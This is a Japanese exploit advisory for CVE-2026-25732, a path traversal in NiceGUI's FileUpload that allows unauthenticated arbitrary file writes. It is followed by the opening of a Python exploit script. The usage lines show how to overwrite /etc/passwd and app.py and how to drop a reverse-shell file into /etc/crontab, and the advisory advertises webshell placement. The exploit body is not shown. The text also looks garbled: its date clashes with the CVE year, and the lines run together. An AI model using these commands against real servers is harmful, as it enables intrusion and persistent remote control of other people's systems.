
CVE-2026-25732 のエクスプロイト。NiceGUI の FileUpload におけるパストラバーサルで、認証なしでの任意ファイル書き込みを可能にします。アプリケーションファイルの上書きやウェブシェルの配置のための使用例を含みます。
著者: Mohammed Idrees Banyamer
連絡先:
エクスプロイトタイトル: NiceGUI FileUpload のパストラバーサルによる任意ファイル書き込み
日付: 2025-06-06
テスト環境: NiceGUI ≤ 3.6.1 (Linux / Windows 上の Python 3.8 – 3.12)
修正バージョン: NiceGUI 3.7.0
CVE: CVE-2026-25732
脆弱性分類: CWE-22 — 制限付きディレクトリへのパス名の不適切な制限
攻撃ベクトル: ネットワーク
必要な権限: なし
ユーザー操作: なし
プラットフォーム: Web アプリケーション (NiceGUI / Python)
NiceGUI バージョン ≤ 3.6.1 では、アプリケーション開発者が追加のサニタイズを行わずに元のファイル名を保存パスで使用する場合、ui.upload() / FileUpload ハンドラ内のアップロードファイルの name フィールドが適切にサニタイズされません。
これにより、認証されていない攻撃者が、パストラバーサルシーケンス(../、絶対パスなど)を介して、NiceGUI プロセスが書き込み権限を持つ任意の場所に任意のファイルを書き込むことが可能になります。
一般的な影響の例:
app.py / main.py の上書き → アプリケーションのリロード/再起動時のコード実行/etc/、ホームディレクトリ、.ssh/、設定フォルダなどへのファイル書き込み#!/usr/bin/env python3
"""
CVE-2026-25732 — NiceGUI 任意ファイル書き込み (パストラバーサル)
アプリが保存パスで使用する場合の、サニタイズされていない FileUpload.name を悪用します。
使用方法:
python exploit_cve_2026_25732.py http://target:8080 "../etc/passwd" payload.txt
python exploit_cve_2026_25732.py http://target:8080 "../app.py" malicious_app.py
python exploit_cve_2026_25732.py http://target:8080 "nicegui/../../../etc/crontab" revshell-cron